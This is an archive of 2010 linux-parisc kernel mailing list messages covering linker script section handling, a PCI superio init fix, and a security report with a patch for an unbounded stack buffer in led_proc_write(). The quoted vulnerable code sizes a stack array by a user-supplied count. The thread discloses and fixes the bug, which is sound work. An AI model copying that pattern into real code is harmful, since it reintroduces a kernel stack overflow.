X-Trace: dough.gmane.org 1280394634 7436 80.91.229.12 (29 Jul 2010 09:10:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 29 Jul 2010 09:10:34 +0000 (UTC)
Cc: dhowells@redhat.com, Michal Marek <mmarek@suse.cz>,
	linux-kbuild <linux-kbuild@vger.kernel.org>,
	linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	lkml <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	Tim Abbott <tabbott@ksplice.com>,
	Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Matt Fleming <matt@console-pimps.org>,
	Arnd Bergmann <arnd@arndb.de>,
	Anders Kaseorg <andersk@mit.edu>,
	Andi Kleen <andi@firstfloor.org>,
	Stephen Rothwell <sfr@canb.auug.org.au>
To: Denys Vlasenko <vda.linux@googlemail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 29 11:10:31 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OeP8I-0003Vz-OX
	for glpp-linux-parisc@lo.gmane.org; Thu, 29 Jul 2010 11:10:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755497Ab0G2JK3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Jul 2010 05:10:29 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:1418 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754638Ab0G2JK2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Jul 2010 05:10:28 -0400
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id o6T9A48m021164
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Thu, 29 Jul 2010 05:10:04 -0400
Original-Received: from redhat.com ([10.3.112.7])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id o6T99wiS003144;
	Thu, 29 Jul 2010 05:09:59 -0400
In-Reply-To: <201007290324.36745.vda.linux@googlemail.com>
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3015 gmane.linux.kbuild.devel:5004 gmane.linux.kernel.cross-arch:7210 gmane.linux.kernel:1015562
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3015>

Denys Vlasenko <vda.linux@googlemail.com> wrote:

> linker groups all similarly-named input sections into one output section
> with the same name, if the name does not match any rule in the linker
> script.
> 
> Basically, it should work as if there is a rule:
> 
> .sbss    0 : AT(0) { *(.sbss) }

Okay, thanks.

David
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add tty driver to PDC console
Date: Fri, 30 Jul 2010 16:30:08 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20100730163008.64c9de58@borg.bxl.tuxicoman.be>
References: <20100614192441.245da011@zombie>
	<20100615133410.044ea5b1@borg.bxl.tuxicoman.be>
	<20100615113553.GP20317@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1280500217 20263 80.91.229.12 (30 Jul 2010 14:30:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 30 Jul 2010 14:30:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 30 16:30:14 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OeqbG-0005UN-2P
	for glpp-linux-parisc@lo.gmane.org; Fri, 30 Jul 2010 16:30:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756568Ab0G3OaM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 30 Jul 2010 10:30:12 -0400
Original-Received: from smtp1.tech.numericable.fr ([82.216.111.37]:49093 "EHLO
	smtp1.tech.numericable.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751692Ab0G3OaM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 30 Jul 2010 10:30:12 -0400
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.107.20.coditel.net [85.28.107.20])
	by smtp1.tech.numericable.fr (Postfix) with ESMTP id E9D5FE081A;
	Fri, 30 Jul 2010 16:30:09 +0200 (CEST)
Original-Received: from [2001:6f8:310:301::1] (helo=borg.bxl.tuxicoman.be)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.72)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1OeqbA-0000Iw-Nu; Fri, 30 Jul 2010 16:30:08 +0200
In-Reply-To: <20100615113553.GP20317@bombadil.infradead.org>
X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.9; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3016
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3016>

On Tue, 15 Jun 2010 07:35:53 -0400
Kyle McMartin <kyle@mcmartin.ca> wrote:


> I figured... I'll take a look at it over the weekend. (Also, I'll see
> if I can dig up the radeonfb hacks.)


Any luck ? :)

Is it still possible to get this in 2.6.35 ?

Cheers,
  Guy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Security] [PATCH] bug in led_proc_write()
Date: Mon, 2 Aug 2010 22:46:41 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <20100802204641.GA2907@p100.box>
References: <52a11dc3cc92b1e13c028304d9a7beaa@81.11.193.46>
 <20100710170458.96dc8a65.akpm@linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1280782011 2371 80.91.229.12 (2 Aug 2010 20:46:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 2 Aug 2010 20:46:51 +0000 (UTC)
Cc: Ilja <ilja@netric.org>, security@kernel.org,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 02 22:46:49 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Og1uK-0004PJ-Fe
	for glpp-linux-parisc@lo.gmane.org; Mon, 02 Aug 2010 22:46:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751547Ab0HBUqs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Aug 2010 16:46:48 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.22]:35291 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with SMTP
	id S1751102Ab0HBUqr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Aug 2010 16:46:47 -0400
Original-Received: (qmail invoked by alias); 02 Aug 2010 20:46:45 -0000
Original-Received: from p54AD1451.dip0.t-ipconnect.de (EHLO p100.box) [84.173.20.81]
  by mail.gmx.net (mp068) with SMTP; 02 Aug 2010 22:46:45 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19WBYll2BlW9eZMdKhHgiNweRmLWG5mBuOxjOGgoq
	La+oJdD5I+r3os
Content-Disposition: inline
In-Reply-To: <20100710170458.96dc8a65.akpm@linux-foundation.org>
User-Agent: Mutt/1.5.20 (2009-08-17)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3017
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3017>

* Andrew Morton <akpm@linux-foundation.org>:
> On Sat, 10 Nov 2007 23:50:29 +0100 Ilja <ilja@netric.org> wrote:
> > When reading some of the parisc driver code I stumbled on a bug in
> > led_proc_write() in drivers/parisc/led.c
> > the code looks like:
> > 
> > 182 static int led_proc_write(struct file *file, const char *buf, 
> > 183         unsigned long count, void *data)
> > 184 {
> > 185         char *cur, lbuf[count + 1];
> > 186         int d;
> > 187
> > 188         if (!capable(CAP_SYS_ADMIN))
> > 189                 return -EACCES;
> > ....
> > 235 }
> > 
> > the problem being that the stack is limited and count is not (except for the
> > MAX_INT check done in sys_write() I guess). this could lead to stack
> > corruption (when for example calling capable()). 
> 
> yes, and the bug's still there.  It allows a writer to /proc/pdc/led(?)
> to cause the kernel to consume an unbounded amount of stack. 

Ilja, Andrew,

Thanks for the bug report.
Below is a patch to fix this issue.

Kyle, please apply to the parisc git tree.

Helge

-----------
[PARISC] led.c - fix potential stack overflow in led_proc_write()

avoid potential stack overflow by correctly checking count parameter

Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/drivers/parisc/led.c b/drivers/parisc/led.c
index 188bc84..d02be78 100644
--- a/drivers/parisc/led.c
+++ b/drivers/parisc/led.c
@@ -176,16 +176,18 @@ static ssize_t led_proc_write(struct file *file, const char *buf,
 	size_t count, loff_t *pos)
 {
 	void *data = PDE(file->f_path.dentry->d_inode)->data;
-	char *cur, lbuf[count + 1];
+	char *cur, lbuf[32];
 	int d;
 
 	if (!capable(CAP_SYS_ADMIN))
 		return -EACCES;
 
-	memset(lbuf, 0, count + 1);
+	if (count >= sizeof(lbuf))
+		count = sizeof(lbuf)-1;
 
 	if (copy_from_user(lbuf, buf, count))
 		return -EFAULT;
+	lbuf[count] = 0;
 
 	cur = lbuf;
 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Security] [PATCH] bug in led_proc_write()
Date: Tue, 3 Aug 2010 09:31:30 -0400
Lines: 54
Approved: news@gmane.org
Message-ID: <20100803133130.GU10884@bombadil.infradead.org>
References: <52a11dc3cc92b1e13c028304d9a7beaa@81.11.193.46>
 <20100710170458.96dc8a65.akpm@linux-foundation.org>
 <20100802204641.GA2907@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1280842318 15461 80.91.229.12 (3 Aug 2010 13:31:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Aug 2010 13:31:58 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Ilja <ilja@netric.org>, security@kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 03 15:31:52 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OgHav-0001wY-Gd
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Aug 2010 15:31:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756147Ab0HCNbj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Aug 2010 09:31:39 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:44025 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756142Ab0HCNbj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Aug 2010 09:31:39 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1OgHac-0003db-Ua; Tue, 03 Aug 2010 13:31:30 +0000
Content-Disposition: inline
In-Reply-To: <20100802204641.GA2907@p100.box>
User-Agent: Mutt/1.5.20 (2009-08-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3018
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3018>

On Mon, Aug 02, 2010 at 10:46:41PM +0200, Helge Deller wrote:
> Kyle, please apply to the parisc git tree.
> 

Please send this straight to Linus with my
Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

I don't want to accidentally mis-place it again this summer.

--Kyle

> Helge
> 
> -----------
> [PARISC] led.c - fix potential stack overflow in led_proc_write()
> 
> avoid potential stack overflow by correctly checking count parameter
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> 
> diff --git a/drivers/parisc/led.c b/drivers/parisc/led.c
> index 188bc84..d02be78 100644
> --- a/drivers/parisc/led.c
> +++ b/drivers/parisc/led.c
> @@ -176,16 +176,18 @@ static ssize_t led_proc_write(struct file *file, const char *buf,
>  	size_t count, loff_t *pos)
>  {
>  	void *data = PDE(file->f_path.dentry->d_inode)->data;
> -	char *cur, lbuf[count + 1];
> +	char *cur, lbuf[32];
>  	int d;
>  
>  	if (!capable(CAP_SYS_ADMIN))
>  		return -EACCES;
>  
> -	memset(lbuf, 0, count + 1);
> +	if (count >= sizeof(lbuf))
> +		count = sizeof(lbuf)-1;
>  
>  	if (copy_from_user(lbuf, buf, count))
>  		return -EFAULT;
> +	lbuf[count] = 0;
>  
>  	cur = lbuf;
>  
> 
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Marek <mmarek@suse.cz>
Newsgroups: gmane.linux.kernel,gmane.linux.kbuild.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/4] module linker script: coalesce function and data
 sections
Date: Tue, 03 Aug 2010 15:47:26 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <4C581DEE.8080205@suse.cz>
References: <1280360876-2571-1-git-send-email-vda.linux@googlemail.com> <1280360876-2571-3-git-send-email-vda.linux@googlemail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-2
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1280843347 19505 80.91.229.12 (3 Aug 2010 13:49:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Aug 2010 13:49:07 +0000 (UTC)
Cc: linux-kbuild <linux-kbuild@vger.kernel.org>,
	linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	lkml <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	Tim Abbott <tabbott@ksplice.com>,
	Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Matt Fleming <matt@console-pimps.org>,
	Arnd Bergmann <arnd@arndb.de>,
	Anders Kaseorg <andersk@mit.edu>,
	Andi Kleen <andi@firstfloor.org>,
	Stephen Rothwell <sfr@canb.auug.org.au>
To: Denys Vlasenko <vda.linux@googlemail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Aug 03 15:49:02 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OgHrZ-0002Hj-Cb
	for glk-linux-kernel-3@lo.gmane.org; Tue, 03 Aug 2010 15:49:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756713Ab0HCNsz (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 3 Aug 2010 09:48:55 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:60886 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756696Ab0HCNsw (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 3 Aug 2010 09:48:52 -0400
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.221.2])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 88CA994033;
	Tue,  3 Aug 2010 15:48:51 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.10) Gecko/20100520 SUSE/3.0.5 Thunderbird/3.0.5
In-Reply-To: <1280360876-2571-3-git-send-email-vda.linux@googlemail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1018039 gmane.linux.kbuild.devel:5068 gmane.linux.kernel.cross-arch:7244 gmane.linux.ports.parisc:3019
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3019>

On 29.7.2010 01:47, Denys Vlasenko wrote:
>  SECTIONS {
> +
> +	/* Coalesce sections produced by gcc -ffunction-sections */
> +	.text   0 : AT(0) { *(.text .text.[A-Za-z0-9_$^]*) }
> +
> +	/* Coalesce sections produced by gcc -fdata-sections */
> +	.rodata 0 : AT(0) { *(.rodata .rodata.[A-Za-z0-9_$^]*) }
> +	.data   0 : AT(0) { *(.data .data.[A-Za-z0-9_$^]*) }
> +	.bss    0 : AT(0) { *(.bss .bss.[A-Za-z0-9_$^]*) }
> +
>  	/DISCARD/ : { *(.discard) }
>  }

I'm now getting

ld:/home/mmarek/linux-2.6/scripts/module-common.lds:23: ignoring invalid
character `^' in script
ld:/home/mmarek/linux-2.6/scripts/module-common.lds:26: ignoring invalid
character `^' in script
ld:/home/mmarek/linux-2.6/scripts/module-common.lds:27: ignoring invalid
character `^' in script
ld:/home/mmarek/linux-2.6/scripts/module-common.lds:28: ignoring invalid
character `^' in script

when linking modules and a similar warning when linking vmlinux (caused
by the next patch in series). I tried writing the carets as \^, but that
doesn't help at all...

$ ld --version
GNU ld (GNU Binutils; openSUSE Factory) 2.20.0.20100122-7

Michal

From - Thu Nov 08 21:06:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kulikov Vasiliy <segooon@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.janitors,gmane.linux.ports.parisc
Subject: [PATCH 07/11] parisc: superio: do not use PCI resources before pci_enable_device()
Date: Tue,  3 Aug 2010 19:44:13 +0400
Lines: 53
Approved: news@gmane.org
Message-ID: <1280850253-6128-1-git-send-email-segooon@gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1280850290 15508 80.91.229.12 (3 Aug 2010 15:44:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Aug 2010 15:44:50 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Frans Pop <elendil@planet.nl>,
	Thomas Gleixner <tglx@linutronix.de>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: kernel-janitors@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Aug 03 17:44:46 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OgJfW-0005cv-4I
	for glk-linux-kernel-3@lo.gmane.org; Tue, 03 Aug 2010 17:44:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932275Ab0HCPoY (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 3 Aug 2010 11:44:24 -0400
Original-Received: from mail-ew0-f46.google.com ([209.85.215.46]:51653 "EHLO
	mail-ew0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932169Ab0HCPoR (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 3 Aug 2010 11:44:17 -0400
Original-Received: by ewy23 with SMTP id 23so1691381ewy.19
        for <multiple recipients>; Tue, 03 Aug 2010 08:44:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:cc:subject:date
         :message-id:x-mailer;
        bh=HtaghHFjM5pLztWVVZzWAFY9FXNuAt9gjpp4neEfnow=;
        b=VRhdlWtUBXnZR0huW6AZnigINp0ADnOWpPe+AFoJJPa9yj7LIKxQy3rXMR9O09J52R
         m9RRugwVyorXxmE8abj5PGTg/uQjtoolGwwkghYNuy5gzufhoJ70SYXq35Nbj8PH9iha
         DNRHaL6pKRZ8FTnvA4TSmP2SpTvy8ix7LIOLY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer;
        b=npk5BPnICUD8LjLKv+DTGopva9TRj6naIhTd+W43eTftNnXZWYDRJN79YZEUEPvzyk
         HSw5oL9mOotCMhXHy6P5LapyktPDyoISKwi6fAg0PBUZTUVzjj3zqg1p9isXgU+W15Ra
         du5ubpIp0yyc9HCuzg32w+QVoMTpJ4zgbDadI=
Original-Received: by 10.213.19.67 with SMTP id z3mr1034796eba.87.1280850256441;
        Tue, 03 Aug 2010 08:44:16 -0700 (PDT)
Original-Received: from localhost (ppp91-78-208-178.pppoe.mtu-net.ru [91.78.208.178])
        by mx.google.com with ESMTPS id v8sm10984401eeh.2.2010.08.03.08.44.15
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Tue, 03 Aug 2010 08:44:16 -0700 (PDT)
X-Mailer: git-send-email 1.7.0.4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1018099 gmane.linux.kernel.janitors:19725 gmane.linux.ports.parisc:3020
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3020>

IRQ and resource[] may not have correct values until
after PCI hotplug setup occurs at pci_enable_device() time.

The semantic match that finds this problem is as follows:

// <smpl>
@@
identifier x;
identifier request ~= "pci_request.*|pci_resource.*";
@@

(
* x->irq
|
* x->resource
|
* request(x, ...)
)
 ...
*pci_enable_device(x)
// </smpl>

Signed-off-by: Kulikov Vasiliy <segooon@gmail.com>
---
 drivers/parisc/superio.c |    5 +++--
 1 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index f7806d8..c8a36a2 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -169,8 +169,6 @@ superio_init(struct pci_dev *pcidev)
 	/* ...then properly fixup the USB to point at suckyio PIC */
 	sio->usb_pdev->irq = superio_fixup_irq(sio->usb_pdev);
 
-	printk(KERN_INFO PFX "Found NS87560 Legacy I/O device at %s (IRQ %i)\n",
-	       pci_name(pdev), pdev->irq);
 
 	pci_read_config_dword (pdev, SIO_SP1BAR, &sio->sp1_base);
 	sio->sp1_base &= ~1;
@@ -204,6 +202,9 @@ superio_init(struct pci_dev *pcidev)
 	ret = pci_enable_device(pdev);
 	BUG_ON(ret < 0);	/* not too much we can do about this... */
 
+	printk(KERN_INFO PFX "Found NS87560 Legacy I/O device at %s (IRQ %i)\n",
+	       pci_name(pdev), pdev->irq);
+
 	/*
 	 * Next project is programming the onboard interrupt controllers.
 	 * PDC hasn't done this for us, since it's using polled I/O.
-- 
1.7.0.4


From - Thu Nov 08 21:06:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: Re: [PATCH 07/11] parisc: superio: do not use PCI resources before
 pci_enable_device()
Date: Tue, 03 Aug 2010 11:11:20 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <1280851880.2774.36.camel@mulgrave.site>
References: <1280850253-6128-1-git-send-email-segooon@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1280851902 22237 80.91.229.12 (3 Aug 2010 16:11:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Aug 2010 16:11:42 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Frans Pop <elendil@planet.nl>,
	Thomas Gleixner <tglx@linutronix.de>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Kulikov Vasiliy <segooon@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 03 18:11:39 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OgK5a-0004SX-LF
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Aug 2010 18:11:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757031Ab0HCQLY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Aug 2010 12:11:24 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50412 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757014Ab0HCQLY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Aug 2010 12:11:24 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 844EA8EE13A;
	Tue,  3 Aug 2010 09:11:23 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 1tAofwW-tPhS; Tue,  3 Aug 2010 09:11:23 -0700 (PDT)
